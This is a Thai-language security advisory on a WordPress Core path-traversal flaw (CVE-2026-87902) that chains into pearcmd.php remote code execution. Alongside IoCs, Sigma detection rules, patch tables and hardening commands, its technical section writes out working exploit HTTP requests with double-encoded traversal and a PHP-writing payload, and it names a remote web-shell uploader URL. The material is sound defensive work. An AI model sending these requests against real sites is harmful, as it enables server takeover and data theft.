บทสรุปสำหรับผู้บริหาร (Executive Summary)
ภาพรวมสถานการณ์
CVE-2026-87902 เป็นช่องโหว่ประเภท Local File Inclusion (LFI) และ Path Traversal ระดับวิกฤตในส่วนประมวลผลแม่แบบหน้าเว็บ (Page-Template Resolution) ของ WordPress Core ซึ่งส่งผลกระทบต่อ WordPress เวอร์ชัน 4.7.0 ถึง 7.1.1 ครอบคลุมทุกสาขาการพัฒนาที่ยังมีผู้ใช้งานอยู่ทั่วโลก ช่องโหว่นี้ได้รับการประเมินความรุนแรงตามมาตรฐาน CVSS v4.0 สูงถึง 9.2 (Critical) และจัดอยู่ในหมวดหมู่ CWE-98 บนฐานข้อมูลช่องโหว่สากล เนื่องจากผู้โจมตีจากภายนอกสามารถโจมตีได้โดยตรงผ่านเครือข่ายโดยไม่ต้องมีบัญชีผู้ใช้งาน ไม่ต้องมีสิทธิ์ในระบบ และไม่ต้องอาศัยการมีปฏิสัมพันธ์จากผู้ใช้งาน (User Interaction: None) [1][2][9]
สาเหตุรากฐานของช่องโหว่เกิดจากความบกพร่องในการตรวจสอบเส้นทางไฟล์ในฟังก์ชัน get_page_template() ร่วมกับการประมวลผลพารามิเตอร์ pagename และ page_id ที่เปิดรับจากภายนอก โดยระบบยอมรับชุดข้อมูลที่เข้ารหัสแบบ Double URL-encoded (%252e%252e%252f) ให้ผ่านการกรองเบื้องต้น ก่อนจะถูกถอดรหัส (urldecode()) ในภายหลัง ส่งผลให้เกิดการทะลุออกจากโฟลเดอร์ธีมที่กำหนด หากสภาพแวดล้อมตรงตามเงื่อนไขทางเทคนิค คือ ธีมที่ใช้งานมีไดเรกทอรีที่ขึ้นต้นด้วย page- (เช่น page-templates/) และเซิร์ฟเวอร์เปิดใช้งานฟังก์ชัน register_argc_argv = On ใน PHP runtime ผู้โจมตีจะสามารถส่งคำสั่งผ่านคอมโพเนนต์ pearcmd.php เพื่อสร้างไฟล์เว็บเชลล์ (Web Shell) และเข้าควบคุมระบบได้ทันที [1][3][4][8]
ศูนย์เฝ้าระวังภัยคุกคาม Previdian และผู้ให้บริการความปลอดภัย Patchstack ยืนยันการตรวจพบความพยายามโจมตีจริงในระบบ Honeypot ทั่วโลกตั้งแต่วันที่ 22 กันยายน 2569 เวลา 11:49 น. UTC ซึ่งเกิดขึ้นในวันเดียวกันกับการปล่อยแพตช์ โดยผู้โจมตีใช้เครือข่ายบ็อตเน็ตและไอพีแอดเดรสเป้าหมาย เช่น 104[.]194[.]9[.]227, 180[.]251[.]159[.]243, 43[.]250[.]53[.]42 และโหนดสแกน 169[.]58[.]48[.]193 ทำการส่งเพย์โหลด pearcmd.php config-create เพื่อเขียนไฟล์เว็บเชลล์ เช่น /tmp/wp-pear-rce-flag.php และ /tmp/poc87902.php ก่อนจะเรียกใช้งานเพื่อเปิดทางดาวน์โหลด Secondary Web Shell จากภายนอก [3][5][6][7]
สำหรับประเทศไทย จากการสำรวจข้อมูลข่าวกรองโอเพนซอร์ส (OSINT) เชิงลึก โดย บริษัท ไซเบอร์ การ์ด อินเทลลิเจนซ์ จำกัด ณ วันที่ 24 กันยายน 2569 ตรวจพบระบบ WordPress ที่เปิดเผยสู่สาธารณะจำนวนทั้งสิ้น 266 ระบบ (215 ไอพีเฉพาะ) โดยกระจายตัวอยู่บนผู้ให้บริการคลาวด์ชั้นนำ เช่น Amazon AWS (25.6%), GMO-Z com NetDesign (24.1%), Proen Corp (8.3%), เครือข่ายสถาบันการศึกษา UNINET/มหาวิทยาลัย (10.9%) และบริการคลาวด์กลางภาครัฐ GDCC (2.6%) ที่สำคัญพบว่ามีถึง 44 ระบบ (16.5%) ที่ถูกระบุว่าใช้ซอฟต์แวร์หมดอายุการสนับสนุน (End-of-Life: eol-product) ซึ่งเป็นกลุ่มที่มีความเสี่ยงสูงสุดต่อการถูกเจาะระบบ
การดำเนินการที่จำเป็นโดยด่วน (Immediate Actions)
- อัปเดต WordPress Core เป็นเวอร์ชัน 7.1.2 หรือเวอร์ชันที่ได้รับการแพตช์ย้อนหลัง (7.0.6, 6.9.9, 6.8.10, 6.7.9, 6.6.9, 6.5.12 ลงไปจนถึง 4.7.37) โดยทันที [1][2][9]
- แก้ไขไฟล์คอนฟิกูเรชัน
php.iniโดยตั้งค่าregister_argc_argv = Offสำหรับ Web SAPI เพื่อตัดวงจรการส่งผ่านอาร์กิวเมนต์ไปยังpearcmd.php[1][4][8] - ลบไฟล์
/usr/local/lib/php/pearcmd.phpและคอมโพเนนต์ PEAR ที่ไม่ได้ใช้งานออกจากสภาพแวดล้อมโปรดักชันและคอนเทนเนอร์ Docker [1][4][7] - ตั้งค่ากฎไฟร์วอลล์ระดับเว็บแอปพลิเคชัน (WAF) เพื่อบล็อกคำขอ HTTP ที่มีอักขระ Double-encoded Directory Traversal (
%252e%252e%252fหรือ..%2f) ในพารามิเตอร์pagename[3][7] - บล็อกทราฟฟิกขาเข้าจากไอพีแอดเดรสของผู้โจมตีที่ได้รับการยืนยัน เช่น 104[.]194[.]9[.]227, 169[.]58[.]48[.]193, 169[.]58[.]48[.]195, 180[.]251[.]159[.]243 [3][6][7]
- ตรวจสอบระบบไฟล์ในไดเรกทอรีชั่วคราว (
/tmp,/var/tmp,/dev/shm) เพื่อค้นหาและกำจัดไฟล์แปลกปลอม เช่นwp-pear-rce-flag.php,poc87902.php,luci_*.php,zeta_*.php[3][5]
ภาพรวมภัยคุกคาม (Threat Overview - 5W1H Matrix)
| มิติ (Dimension) | รายละเอียด (Details) |
|---|---|
| ผู้โจมตี (WHO) | กลุ่มผู้โจมตีไม่ระบุฝ่าย (Unattributed Threat Actors) คาดว่าเป็นกลุ่ม Initial Access Brokers (IABs) และ Botnet Operators ที่ใช้ระบบสแกนอัตโนมัติแบบกระจายศูนย์จากสหรัฐอเมริกา (104[.]194[.]9[.]227), อินโดนีเซีย (180[.]251[.]159[.]243), เวียดนาม (43[.]250[.]53[.]42) [Admiralty Rating: B2 ยืนยันจากข้อมูล Telemetry ของ Previdian] และโหนดสแกนอัตโนมัติ (169[.]58[.]48[.]193, 169[.]58[.]48[.]195, 2001:df1:e8c0::106b) [Admiralty Rating: C3 จากฟีดข่าวสาร CyberNewsAI] [3][6][7] |
| เป้าหมาย (WHAT) | การโจมตีประเภท Remote Code Execution (RCE) ผ่านช่องโหว่ Unauthenticated Path Traversal ในการประมวลผล Page Template ร่วมกับเทคนิค pearcmd.php Parameter Poisoning เพื่อสร้าง Web Shell ในไดเรกทอรีชั่วคราวของเซิร์ฟเวอร์ [Admiralty Rating: A1 ยืนยันจากซอร์สโค้ดและ PoC] [1][2][4][8] |
| ขอบเขต (WHERE) | เว็บไซต์และเว็บเซิร์ฟเวอร์ที่ติดตั้ง WordPress Core เวอร์ชัน 4.7.0 ถึง 7.1.1 ทั่วโลกที่เปิดให้บริการสู่เครือข่ายอินเทอร์เน็ตสาธารณะ โดยเฉพาะระบบที่รันบน Official PHP Docker Images และระบบจัดการ cPanel ที่เปิดใช้ register_argc_argv [Admiralty Rating: A1] [1][2][3][9] |
| ช่วงเวลา (WHEN) | Robert Ressl รายงานช่องโหว่: 20 กรกฎาคม 2569 → WordPress รับทราบ: 21 กรกฎาคม 2569 → เผยแพร่แพตช์และคำแนะนำความปลอดภัย: 22 กันยายน 2569 → ตรวจพบการโจมตีจริงครั้งแรก: 22 กันยายน 2569 เวลา 11:49 น. UTC (บันทึกโดย Previdian) และเวลา 17:44 น. UTC (บันทึกโดย Patchstack) → พบการสแกนความถี่สูง: 23-24 กันยายน 2569 [Admiralty Rating: A1/B2] [1][3][4][5][6] |
| แรงจูงใจ (WHY) | การสร้างผลประโยชน์ทางการเงิน (Financial Monetization) ผ่านการยึดครองสิทธิ์เบื้องต้นเพื่อจำหน่ายต่อในตลาดมืด (Initial Access Brokerage), การติดตั้งมัลแวร์ขุดเหรียญดิจิทัล (Cryptojacking), และการสร้างเครือข่ายบ็อตเน็ตสำหรับปฏิบัติการในอนาคต [Admiralty Rating: B2] [3][7] |
| วิธีการ (HOW) | ส่งคำขอ HTTP POST แบบไม่ต้องยืนยันตัวตน ระบุค่า page_id ที่มีอยู่จริงและค่า pagename ที่เข้ารหัส Double URL-encoded (templates%252f%252e%252e%252f...) เพื่อหลุดออกจากโฟลเดอร์ธีม จากนั้นใช้คำสั่ง config-create ของ pearcmd.php สร้างไฟล์ PHP ใน /tmp/ และส่งคำขอที่สองเพื่อ Include ไฟล์ดังกล่าวให้รันคำสั่งด้วยสิทธิ์ www-data [Admiralty Rating: A1] [1][4][8] |
การประเมินผลกระทบ (Impact Assessment - CIA Triad)
| มิติ CIA | ระดับผลกระทบ | รายละเอียดผลกระทบ |
|---|---|---|
| การรักษาความลับ (Confidentiality) | วิกฤต (Critical) | ผู้โจมตีสามารถอ่านไฟล์ระบบที่อยู่ในสิทธิ์ของเว็บเซิร์ฟเวอร์ทั้งหมด เช่น ไฟล์คอนฟิกูเรชัน wp-config.php, ฐานข้อมูล MySQL, รหัสผ่านผู้ใช้งาน, ข้อมูลส่วนบุคคล (PII) ของลูกค้า, ตลอดจนกุญแจลับและโทเค็นความปลอดภัยที่เก็บอยู่บนเซิร์ฟเวอร์ [1][4][8] |
| ความถูกต้องสมบูรณ์ (Integrity) | วิกฤต (Critical) | ผู้โจมตีสามารถเขียนไฟล์เว็บเชลล์ (Web Shell), ปรับเปลี่ยนซอร์สโค้ดของเว็บไซต์, ฝังโค้ดมัลแวร์สำหรับขโมยข้อมูลบัตรเครดิต (Web Skimmer), ดัดแปลงแก้ไขข้อมูลในฐานข้อมูล, และสร้างบัญชีผู้ดูแลระบบปลอมเพื่อคงการเข้าถึงอย่างถาวร [3][4][8] |
| ความพร้อมใช้งาน (Availability) | วิกฤต (Critical) | การที่ผู้โจมตีได้รับสิทธิ์ในการรันโค้ด อาจนำไปสู่การติดตั้งสคริปต์ขุดเหรียญดิจิทัลที่สูบใช้ทรัพยากรประมวลผลจนเซิร์ฟเวอร์หยุดทำงาน หรือการติดตั้งมัลแวร์เรียกค่าไถ่ (Ransomware) เพื่อเข้ารหัสทำลายไฟล์ข้อมูลทั้งหมดของเว็บไซต์ [3][7] |
| ความเสี่ยงทางธุรกิจ (Business Risk) | วิกฤตสูงสุด (Critical) | ส่งผลกระทบอย่างร้ายแรงต่อความต่อเนื่องทางธุรกิจ (Business Continuity), ความเสี่ยงต่อการถูกลงโทษตาม พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคล พ.ศ. 2562 (PDPA) จากการรั่วไหลของข้อมูลส่วนบุคคล, ความรับผิดตาม พ.ร.บ. การรักษาความมั่นคงปลอดภัยไซเบอร์ พ.ศ. 2562 สำหรับหน่วยงาน CII, ตลอดจนค่าใช้จ่ายในการตรวจพิสูจน์พยานหลักฐานดิจิทัล (Digital Forensics) และความเสียหายต่อชื่อเสียงองค์กรที่ไม่อาจประเมินค่าได้ [10] |
การวิเคราะห์เชิงเทคนิคเชิงลึก (Deep Technical Analysis)
4.1 ลำดับขั้นตอนการโจมตี (Kill Chain / Attack Flow)
ผู้โจมตีส่งคำขอสำรวจเพื่อค้นหาหน้าเว็บที่เปิดเผยต่อสาธารณะและระบุหมายเลข page_id ที่ถูกต้อง จากนั้นส่งคำขอแบบ HTTP POST แทนที่จะเป็น HTTP GET ซึ่งเทคนิคนี้ช่วยให้คำขอไม่ถูกปฏิเสธหรือเปลี่ยนเส้นทางผ่านฟังก์ชัน redirect_canonical() ใน wp-includes/canonical.php เนื่องจากฟังก์ชันดังกล่าวจะทำงานเฉพาะกับเมธอด GET และ HEAD เท่านั้น นอกจากนี้ ผู้โจมตีจะส่งอาร์กิวเมนต์ของคำสั่ง PEAR ผ่านทาง Query String ใน URL ในขณะที่พารามิเตอร์ของ WordPress จะถูกส่งผ่าน Request Body ในรูปแบบ Form-data [1][4][8]
POST /?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1
Host: target-wordpress.example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd
เมื่อ WordPress ประมวลผลคำขอ ฟังก์ชัน WP::parse_request() ใน wp-includes/class-wp.php จะอ่านค่า pagename และ page_id เข้าสู่ตัวแปรสาธารณะ ในชั้นนี้ ฟังก์ชัน sanitize_title_for_query() ใน wp-includes/class-wp-query.php ร่วมกับ sanitize_title_with_dashes() ใน wp-includes/formatting.php จะไม่มองว่า %2f เป็นตัวคั่นเส้นทาง (Path Separator) จึงปล่อยให้อักขระที่เข้ารหัสแบบ Double-encoded คงอยู่ ต่อมาเมื่อการค้นหาชื่อเพจล้มเหลว ระบบจะหันไปใช้ค่า page_id ในการดึงข้อมูลหน้าเว็บ แต่ค่า pagename ที่เป็นอันตรายยังคงค้างอยู่ในออบเจกต์คำสั่ง จนกระทั่งเข้าสู่ฟังก์ชัน get_page_template() ใน wp-includes/template.php จึงมีการเรียกใช้ urldecode() ซึ่งส่งผลให้อักขระ %252e%252e%252f ถูกถอดรหัสกลายเป็น ../ ที่มีผลบังคับใช้ในระบบไฟล์จริง [1][4][8]
// ลำดับการแปลงค่าใน WordPress Core (อ้างอิงจากงานวิจัยของ Robert Ressl):
1. Input Received : pagename = templates%252f%252e%252e%252f... (Double URL-encoded)
2. PHP Parsing : $_POST['pagename'] = templates%2f%2e%2e%2f...
3. Query Sanitizer : sanitize_title_with_dashes() คงค่า %2f และ %2e ไว้
4. Template Lookup : get_page_template() เรียก urldecode() -> templates/../../../../...
5. Path Resolution : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
6. Template Loader : locate_template() เรียก file_exists() และ include โดยไม่มี Root Containment Check
ในสภาพแวดล้อมที่เปิดใช้งาน register_argc_argv = On (เช่น Official PHP Docker Images หรือ cPanel รุ่นเก่า) ตัวแปร Query String ใน URL จะถูกนำไปแยกเป็นอาร์กิวเมนต์ของคำสั่งใน $_SERVER['argv'] อัตโนมัติ เมื่อฟังก์ชันค้นหาเทมเพลตใน template-loader.php และ template.php ทำการ Include ไฟล์ /usr/local/lib/php/pearcmd.php สคริปต์ PEAR จะเริ่มทำงานและรับคำสั่ง config-create เพื่อสร้างไฟล์คอนฟิกูเรชันขึ้นใหม่ โดยผู้โจมตีใช้เทคนิคหลีกเลี่ยงเครื่องหมายคำพูด (Quote-free payload) ผ่านฟังก์ชัน chr() เพื่อป้องกันการถูก Escape โดย wp_magic_quotes() และกำหนดให้เขียนไฟล์โค้ด PHP ลงใน /tmp/wp-pear-rce-flag.php ซึ่งมีสิทธิ์ www-data:www-data (ขนาด 1,219 ไบต์, SHA-256: 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 ยืนยันจากห้องปฏิบัติการวิจัย) [1][4][8]
# อาร์กิวเมนต์ที่ถูกส่งเข้าสู่ pearcmd.php:
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # Root path ที่ฝังโค้ด PHP
argv[3] = "/tmp/wp-pear-rce-flag.php" # ไฟล์เป้าหมายที่ถูกสร้างขึ้น
ผู้โจมตีส่งคำขอ HTTP POST ครั้งที่สองโดยใช้ช่องโหว่ Path Traversal เดิมเพื่อสั่งให้ WordPress Include ไฟล์เพย์โหลดที่เพิ่งสร้างขึ้นใน /tmp/wp-pear-rce-flag.php ส่งผลให้โค้ด PHP ที่ฝังอยู่ถูกประมวลผลทันทีในสิทธิ์ของเว็บเซิร์ฟเวอร์ จากนั้นผู้โจมตีจะดำเนินการขั้นถัดไปโดยการดึงสคริปต์อัปโหลดเว็บเชลล์จากภายนอก (เช่น raw.githubusercontent[.]com/MrG3P5/web-shell/refs/heads/main/uploader.php) หรือสร้างเว็บเชลล์ถาวร เช่น luci_*.php และ zeta_*.php ในระบบเพื่อใช้ควบคุมเซิร์ฟเวอร์ในระยะยาว [3][4][5][8]
POST / HTTP/1.1
Host: target-wordpress.example.com
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag
# ผลลัพธ์: โค้ด PHP ทำงานสำเร็จและส่งผลลัพธ์ของคำสั่งกลับมายังฝั่งผู้โจมตี
4.2 สาเหตุรากฐานของช่องโหว่ (Root Cause)
สาเหตุรากฐานของช่องโหว่ CVE-2026-87902 จัดอยู่ในกลุ่ม CWE-98 (Improper Control of Filename for Include/Require Statement) และ CWE-22/CWE-23 (Path Traversal) โดยมีจุดบกพร่องหลัก 3 ประการในสถาปัตยกรรมของ WordPress Core:
1. การไม่จำกัดขอบเขตไดเรกทอรีของเทมเพลต (Lack of Root Containment): ในไฟล์ wp-includes/template-loader.php มีการเรียกใช้ฟังก์ชัน realpath() เพื่อแปลงเส้นทางสัมพัทธ์ให้เป็นเส้นทางสัมบูรณ์ (Canonicalization) แต่เดิมไม่มีฟังก์ชันตรวจสอบการจำกัดขอบเขต (Containment Verification) ว่าเส้นทางผลลัพธ์นั้นยังคงอยู่ภายใต้ไดเรกทอรีของธีมที่ได้รับอนุญาตหรือไม่ ก่อนที่จะส่งต่อไปยังคำสั่ง include [1][2][4]
2. ความคลาดเคลื่อนของลำดับการถอดรหัสและการกรองข้อมูล (Sanitization-Decoding Ordering Flaw): การกรองข้อมูลใน class-wp-query.php และ formatting.php เกิดขึ้นก่อนที่ค่า pagename จะถูกถอดรหัสด้วย urldecode() ใน template.php ทำให้อักขระ Double-encoded %252e%252e%252f หลุดรอดจากการตรวจสอบเบื้องต้นและกลายเป็น ../ ที่ทำงานได้จริงในภายหลัง [1][4][8]
3. การพึ่งพาค่าคอนฟิกูเรชันของสภาพแวดล้อมรันไทม์ (Runtime Configuration Dependency): การเปิดใช้ register_argc_argv = On ใน PHP runtime ร่วมกับการมีไฟล์ pearcmd.php ในระบบ ทำให้เกิดช่องทางโจมตีต่อเนื่อง (Exploit Primitive Chain) ที่เปลี่ยนจาก Local File Inclusion กลายเป็นการรันโค้ดระยะไกล (RCE) ได้อย่างสมบูรณ์ [1][3][4][8]
4.3 สิ่งที่แพตช์แก้ไข (Patch Analysis)
ทีมพัฒนาความปลอดภัยของ WordPress ได้แก้ไขช่องโหว่นี้ใน WordPress เวอร์ชัน 7.1.2 และทำการ Backport การแก้ไขไปยังทุกสาขาการพัฒนาในอดีตจนถึงเวอร์ชัน 4.7.37 (รวมทั้งสิ้น 25 สาขา) โดยมีรายละเอียดการแก้ไขสำคัญดังนี้:
1. เพิ่มฟังก์ชันรักษาความปลอดภัยใหม่ชื่อ _wp_is_template_path_allowed() เพื่อทำหน้าที่ตรวจสอบการจำกัดขอบเขต (Root Containment Verification) โดยนำ realpath() ของไฟล์เทมเพลตที่ค้นพบมาเปรียบเทียบกับไดเรกทอรีรากของธีมที่ใช้งานอยู่ (Active Theme / Child Theme / Parent Theme Root) พร้อมตรวจสอบ Trailing Directory Separator เพื่อให้มั่นใจว่าไฟล์ที่จะถูก include ต้องอยู่ภายในขอบเขตของธีมเท่านั้น [1][2][4][9]
2. เพิ่มการตรวจสอบความถูกต้องของชื่อไฟล์เทมเพลตอย่างเข้มงวดด้วยฟังก์ชัน validate_file() ทันทีหลังจากการถอดรหัส urldecode() เพื่อปฏิเสธค่าที่มีอักขระ Path Traversal (../) หรือเส้นทางแบบ Absolute Path [1][4][9]
3. ขอแนะนำให้ผู้ดูแลระบบปิดการทำงานของ register_argc_argv ใน php.ini เพื่อป้องกันการใช้เทคนิค Parameter Poisoning กับสคริปต์คอมมานด์ไลน์อื่น ๆ ในระบบ [1][7][8]
การตรวจจับและวิศวกรรมการป้องกัน (Detection Engineering)
5.1 ตัวบ่งชี้การถูกโจมตี (Indicators of Compromise - IoC)
| IoC Indicator (Defanged) | Type | Description |
|---|---|---|
104[.]194[.]9[.]227 |
IPv4 Address | ไอพีต้นทางการส่งคำขอโจมตี pearcmd exploit สำเร็จ ตรวจพบโดย Previdian Honeypot Network (รัฐนิวเจอร์ซีย์ สหรัฐอเมริกา) [ยืนยันในรายงานสาธารณะ] |
180[.]251[.]159[.]243 |
IPv4 Address | ไอพีต้นทางที่มีความพยายามสแกนและส่งเพย์โหลดเจาะระบบ ตรวจพบในภูมิภาคเอเชียตะวันออกเฉียงใต้ (อินโดนีเซีย) [ข้อมูล Telemetry จากเซนเซอร์ปิด] |
43[.]250[.]53[.]42 |
IPv4 Address | ไอพีต้นทางที่มีการส่งทราฟฟิกสแกนหาช่องโหว่ WordPress Core ในวงกว้าง (เวียดนาม) [ข้อมูล Telemetry จากเซนเซอร์ปิด] |
195[.]178[.]110[.]247 |
IPv4 Address | ไอพีตรวจพบความพยายามส่งชุดข้อมูล Double-encoded Traversal เพื่อค้นหาเป้าหมาย [ข้อมูล Telemetry จากเซนเซอร์ปิด] |
107[.]189[.]14[.]87 |
IPv4 Address | ไอพีเซิร์ฟเวอร์สแกนที่ตรวจพบพฤติกรรมสำรวจคอมโพเนนต์ pearcmd.php [ข้อมูล Telemetry จากเซนเซอร์ปิด] |
45[.]61[.]184[.]170 |
IPv4 Address | ไอพีโหนดสแกนอัตโนมัติที่เชื่อมโยงกับเครือข่ายบ็อตเน็ตเจาะระบบเว็บเซิร์ฟเวอร์ [ข้อมูล Telemetry จากเซนเซอร์ปิด] |
92[.]246[.]130[.]76 |
IPv4 Address | ไอพีที่พบการส่งคำขอทดสอบช่องโหว่แบบอัตโนมัติ [ข้อมูล Telemetry จากเซนเซอร์ปิด] |
169[.]58[.]48[.]193 |
IPv4 Address | โหนดสแกนและลาดตระเวนอัตโนมัติความถี่สูง [Admiralty C3: อ้างอิงจาก CyberNewsAI Threat Feed] |
169[.]58[.]48[.]195 |
IPv4 Address | โหนดส่งเพย์โหลด pearcmd และเขียนไฟล์เว็บเชลล์สู่ไดเรกทอรีชั่วคราว [Admiralty C3: อ้างอิงจาก CyberNewsAI Threat Feed] |
2001:df1:e8c0::106b |
IPv6 Address | ไอพีเวอร์ชัน 6 ที่ใช้ในการสแกนโครงสร้างเว็บเซิร์ฟเวอร์ WordPress ทั่วโลก [Admiralty C3: อ้างอิงจาก CyberNewsAI Threat Feed] |
raw[.]githubusercontent[.]com/MrG3P5/web-shell/refs/heads/main/uploader[.]php |
URL / Domain | แหล่งโฮสต์ไฟล์ PHP Web Shell Uploader ที่ผู้โจมตีพยายามดาวน์โหลดมาติดตั้งบนระบบหลังเจาะสำเร็จ [ยืนยันในรายงานสาธารณะ] |
/tmp/wp-pear-rce-flag[.]php |
File Path | ไฟล์เพย์โหลด PHP ที่ถูกสร้างขึ้นผ่านคำสั่ง config-create ของ pearcmd.php ในขั้นตอนแรก |
/tmp/poc87902[.]php |
File Path | ไฟล์ทดสอบการรันโค้ดที่สร้างขึ้นโดยสแกนเนอร์อัตโนมัติของกลุ่มผู้โจมตี |
/tmp/luci_[random][.]php |
File Path Pattern | รูปแบบชื่อไฟล์เว็บเชลล์อันตรายที่ผู้โจมตีใช้ฝังตัวเพื่อควบคุมเครื่องระยะไกล |
/tmp/zeta_[random][.]php |
File Path Pattern | รูปแบบชื่อไฟล์ Secondary Web Shell สำหรับคงการเข้าถึงอย่างถาวรในระบบ |
460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 |
SHA-256 Hash | ค่าแฮชของไฟล์เพย์โหลด wp-pear-rce-flag.php (ขนาด 1,219 ไบต์) ที่ถูกสร้างผ่าน PEAR config-create ในห้องปฏิบัติการวิจัย |
5.2 กฎ Sigma (Behavioral Detection)
title: WordPress CVE-2026-87902 Suspicious PHP File Write in Temp Directory
id: 43a9f637-c71e-4526-802a-91392002c26e
status: experimental
date: 2026-09-24
description: Detects PHP files written to temporary directories by web server processes, consistent with CVE-2026-87902 pearcmd exploitation.
author: Cyber Guard Intelligence
references:
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
- https://ressl.ch/blog/cve-2026-87902-wordpress/
tags:
- attack.initial_access
- attack.t1190
- attack.persistence
- attack.t1505.003
logsource:
category: file_event
product: linux
detection:
selection_process:
Image|endswith:
- '/php-fpm'
- '/httpd'
- '/apache2'
selection_path:
TargetFilename|contains:
- '/tmp/'
- '/var/tmp/'
- '/dev/shm/'
selection_ext:
TargetFilename|endswith: '.php'
condition: all of selection_*
falsepositives:
- Application-specific temp-file caching that legitimately writes .php files (rare)
level: high
title: Web Server Process Spawning Shell or Interpreter (Possible Web Shell Execution)
id: 24f72933-72ef-4b14-903a-94f43683e383
status: experimental
date: 2026-09-24
description: Detects a web server worker process (php-fpm/httpd/apache2/nginx) spawning a shell or scripting interpreter as a child process, consistent with web shell command execution following CVE-2026-87902 exploitation.
author: Cyber Guard Intelligence
references:
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
tags:
- attack.execution
- attack.t1059
- attack.persistence
- attack.t1505.003
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/php-fpm'
- '/httpd'
- '/apache2'
- '/nginx'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/curl'
- '/wget'
- '/python3'
- '/perl'
- '/nc'
condition: selection_parent and selection_child
falsepositives:
- Legitimate health-check or webhook scripts that shell out from the web server process (tune per environment)
level: critical
คำแนะนำการรับมือและบรรเทาความเสี่ยง (Mitigation & Remediation)
6.1 มาตรการเร่งด่วน (Immediate - ภายใน 24 ชั่วโมง)
เวอร์ชันที่ได้รับการแก้ไขแล้ว (Patched Versions):
| Track / Branch | เวอร์ชันเก่า (มีช่องโหว่) | เวอร์ชันใหม่ (แก้ไขแล้ว) |
|---|---|---|
| 7.1.x (Current Stable) | 7.1.0 - 7.1.1 | 7.1.2 |
| 7.0.x | 7.0.0 - 7.0.5 | 7.0.6 |
| 6.9.x | 6.9.0 - 6.9.8 | 6.9.9 |
| 6.8.x | 6.8.0 - 6.8.9 | 6.8.10 |
| 6.7.x | 6.7.0 - 6.7.8 | 6.7.9 |
| 6.6.x | 6.6.0 - 6.6.8 | 6.6.9 |
| 6.5.x | 6.5.0 - 6.5.11 | 6.5.12 |
| 6.4.x | 6.4.0 - 6.4.11 | 6.4.12 |
| 6.3.x | 6.3.0 - 6.3.11 | 6.3.12 |
| 6.2.x | 6.2.0 - 6.2.12 | 6.2.13 |
| 6.1.x | 6.1.0 - 6.1.13 | 6.1.14 |
| 6.0.x | 6.0.0 - 6.0.15 | 6.0.16 |
| 5.9.x | 5.9.0 - 5.9.17 | 5.9.18 |
| 5.8.x | 5.8.0 - 5.8.16 | 5.8.17 |
| 5.7.x | 5.7.0 - 5.7.18 | 5.7.19 |
| 5.6.x | 5.6.0 - 5.6.20 | 5.6.21 |
| 5.5.x | 5.5.0 - 5.5.21 | 5.5.22 |
| 5.4.x | 5.4.0 - 5.4.22 | 5.4.23 |
| 5.3.x | 5.3.0 - 5.3.24 | 5.3.25 |
| 5.2.x | 5.2.0 - 5.2.27 | 5.2.28 |
| 5.1.x | 5.1.0 - 5.1.25 | 5.1.26 |
| 5.0.x | 5.0.0 - 5.0.28 | 5.0.29 |
| 4.9.x | 4.9.0 - 4.9.32 | 4.9.33 |
| 4.8.x | 4.8.0 - 4.8.31 | 4.8.32 |
| 4.7.x (Legacy Backport) | 4.7.0 - 4.7.36 | 4.7.37 |
คำสั่งในการอัปเดตและป้องกัน (CLI Commands):
# 1. อัปเดต WordPress Core ผ่าน WP-CLI:
wp core update --path=/var/www/html
wp core version --path=/var/www/html
# 2. ปิดการใช้งาน register_argc_argv ใน php.ini:
sed -i 's/^register_argc_argv = On/register_argc_argv = Off/' /etc/php/*/apache2/php.ini
sed -i 's/^register_argc_argv = On/register_argc_argv = Off/' /etc/php/*/fpm/php.ini
systemctl restart apache2 || systemctl restart php*-fpm
# 3. ลบไฟล์ pearcmd.php ใน Docker Container Image (Dockerfile):
RUN rm -f /usr/local/lib/php/pearcmd.php /usr/local/bin/pear
# 4. ตั้งค่า Mount noexec บนไดเรกทอรีชั่วคราว (/etc/fstab):
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
6.2 การตรวจสอบ Forensic & Indicator Checking
- ตรวจสอบ Web Access Logs เพื่อค้นหาคำขอที่มี Double-encoded Path Traversal: grep -Ei '(templates%252f%252e%252e%252f|%252e%252e%252f)' /var/log/apache2/*access*.log /var/log/nginx/*access*.log
- ตรวจสอบคำขอที่มีการเรียกใช้ pearcmd ใน Query String: grep -Ei '(\+config-create|pearcmd)' /var/log/apache2/*access*.log
- ค้นหาไฟล์ PHP แปลกปลอมที่สร้างขึ้นในไดเรกทอรี /tmp และ /var/tmp: find /tmp /var/tmp /dev/shm -type f -name '*.php' -ls
- ค้นหาไฟล์ Web Shell ที่มีคำสั่ง system execution ในไดเรกทอรีเว็บไซต์: grep -rnEI '(system\(|exec\(|passthru\(|shell_exec\(|eval\()' /var/www/html/wp-content/uploads/ /var/www/html/wp-content/themes/
- ตรวจสอบโปรเซสของเว็บเซิร์ฟเวอร์ที่รันคำสั่งผิดปกติ: ps aux | grep -E '(www-data|nobody|apache|nginx)' | grep -E '(sh|bash|curl|wget|python|php)'
- ตรวจสอบ Cron Jobs ที่ถูกฝังในบัญชีเว็บเซิร์ฟเวอร์: crontab -u www-data -l && ls -la /etc/cron.d/
6.3 มาตรการตอบสนองเหตุการณ์ (Incident Response)
